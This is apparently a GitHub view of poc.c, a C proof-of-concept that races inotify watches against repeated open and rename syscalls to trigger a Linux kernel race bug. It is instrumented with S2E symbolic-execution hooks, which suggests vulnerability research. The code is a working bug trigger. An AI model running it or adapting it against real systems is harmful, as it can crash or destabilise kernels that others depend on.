-
Notifications
You must be signed in to change notification settings - Fork 18
/
Copy pathpoc.c
97 lines (55 loc) · 1.62 KB
/
poc.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#define _GNU_SOURCE
#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <pthread.h>
#include <s2e.h>
uint64_t r[1] = {0xffffffffffffffff};
void *thread2(void *arg) {
// int n = 1000;
while (1) {
s2e_invoke_plugin("ProgramMonitor", "m", 1);
syscall(__NR_open, 0x203f5000, 2, 0);
}
}
void *thread3(void *arg) {
// int n = 1000;
while (1) {
s2e_invoke_plugin("ProgramMonitor", "m", 1);
syscall(__NR_rename, 0x203f5000, 0x207aa000);
syscall(__NR_rename, 0x207aa000, 0x203f5000);
}
}
int main(void)
{
pthread_t threads[3];
syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
long res = 0;
memcpy((void*)0x20029ff6, "./control", 10);
syscall(__NR_mkdir, 0x20029ff6, 0777);
memcpy((void*)0x203f5000, "./control/f", 12);
syscall(__NR_open, 0x203f5000, 0x942 , 0x1b6);
res = syscall(__NR_inotify_init1, 0x800);
if (res == -1)
exit(5);
if (res != -1)
r[0] = res;
res = syscall(__NR_inotify_add_watch, r[0], 0x20029ff6, 0x39);
if (res == -1)
exit(4);
memcpy((void*)0x207aa000, "./control/bbbb321032103210321032103210", 39);
s2e_make_symbolic((void*)0x207aa000, 38, "ptr_0x207aa000");
s2e_make_symbolic((void*)0x203f5000, 11, "ptr_0x203f5000");
s2e_invoke_plugin("ProgramMonitor", "s", 1);
pthread_create(&threads[1], NULL, thread2, NULL);
pthread_create(&threads[2], NULL, thread3, NULL);
pthread_join(threads[1], NULL);
pthread_join(threads[2], NULL);
s2e_invoke_plugin("ProgramMonitor", "e", 1);
return 0;
}